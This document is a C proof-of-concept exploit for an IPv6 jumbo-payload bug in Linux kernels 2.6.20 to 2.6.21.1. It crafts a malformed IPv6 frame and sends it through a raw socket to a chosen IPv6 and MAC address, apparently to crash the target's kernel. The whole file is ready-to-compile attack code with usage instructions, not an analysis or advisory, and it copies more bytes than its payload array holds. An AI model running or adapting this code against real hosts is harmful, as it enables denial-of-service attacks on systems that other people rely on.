/*
 * Clemens Kurtenbach <ckurtenbach@s21sec.com>
 * PoC code for exploiting the jumbo bug found in 
 * linux kernels >=2.6.20 and <=2.6.21.1
 * gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash
 *
 */


/* io */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* network */
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netdb.h>
#include <linux/if.h>

#define MY_FRAME_LEN 1145

char *resolve6(unsigned char *target) {
  char *ret_addr;
  struct in6_addr my_in6;
  char *glob_addr = (char *) &my_in6;
  struct addrinfo addr_hints, *addr_result;
  unsigned char out[64];

  memset(&addr_hints, 0, sizeof(addr_hints));
  addr_hints.ai_family = AF_INET6;

  if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
    printf("getaddrinfo() error\n");
    exit(1); 
  }
  if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
    printf("getnameinfo() error\n");
    exit(1);
  }
  if(inet_pton(AF_INET6, out, glob_addr) < 0) {
    printf("inet_pton() error\n");
    exit(1);
  }
  if((ret_addr = malloc(16)) == NULL) {
    printf("malloc() error\n");
    exit(1);
  }
  memcpy(ret_addr, my_in6.s6_addr, 16);
  return ret_addr;
}

int main(int argc, char *argv[]) {

  if (argc < 4) {
    printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> <00:11:22:33:44:55> <eth0>\n");
    exit(1);
  }

  /* handle IPv6 destination */
  unsigned char *dest_ip = resolve6(argv[1]);

  /* handle MAC */
  unsigned char dest_mac[7];
  sscanf(argv[2], "%x:%x:%x:%x:%x:%x", 
      (unsigned int*)&dest_mac[0], (unsigned int*)&dest_mac[1], 
      (unsigned int*)&dest_mac[2], (unsigned int*)&dest_mac[3], 
      (unsigned int*)&dest_mac[4], (unsigned int*)&dest_mac[5]);

  /* handle interface */
  unsigned char *iface;
  iface = argv[3];

  /* buffer for ethernet frame */
  void *buffer = (void*)malloc(MY_FRAME_LEN);

  /* pointer to ethenet header */
  unsigned char *etherhead = buffer;
  struct ethhdr *eh = (struct ethhdr *)etherhead;

  /* our MAC address */
  unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 };
  unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};

  /* prepare socket */
  int s;
  s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  if (s < 0) {
    printf("cannot create socket: [%d]\n",s);
    exit(1);
  }

  /* RAW communication */
  struct sockaddr_ll socket_address;
  socket_address.sll_family   = PF_PACKET;  
  socket_address.sll_protocol = htons(ETH_P_IP);  
  socket_address.sll_ifindex  = if_nametoindex(iface);
  socket_address.sll_hatype   = ARPHRD_ETHER;
  socket_address.sll_pkttype  = PACKET_OTHERHOST;
  socket_address.sll_halen    = ETH_ALEN;    

  /* set the frame header */
  memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
  memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
  eh->h_proto = 0xdd86; // IPv6

  /* the buffer we want to send */
  unsigned char bad_buffer[] = { 
    0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };

  memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);

  /* overwrite our src and dst ip */
  memcpy((void*)(buffer+22), (void*)src_ip, 16);
  memcpy((void*)(buffer+38), dest_ip, 16);

  /* send the buffer */
  int send_result = 0;
  send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct sockaddr*)&socket_address, sizeof(socket_address));
  if (send_result == -1) { 
    printf("could not send frame: [%d]\n", send_result); 
    exit(1);
  }
  else printf("frame send to ip [%s] with mac [%s] on iface [%s]\n",argv[1],argv[2],argv[3]);

  return 0;
}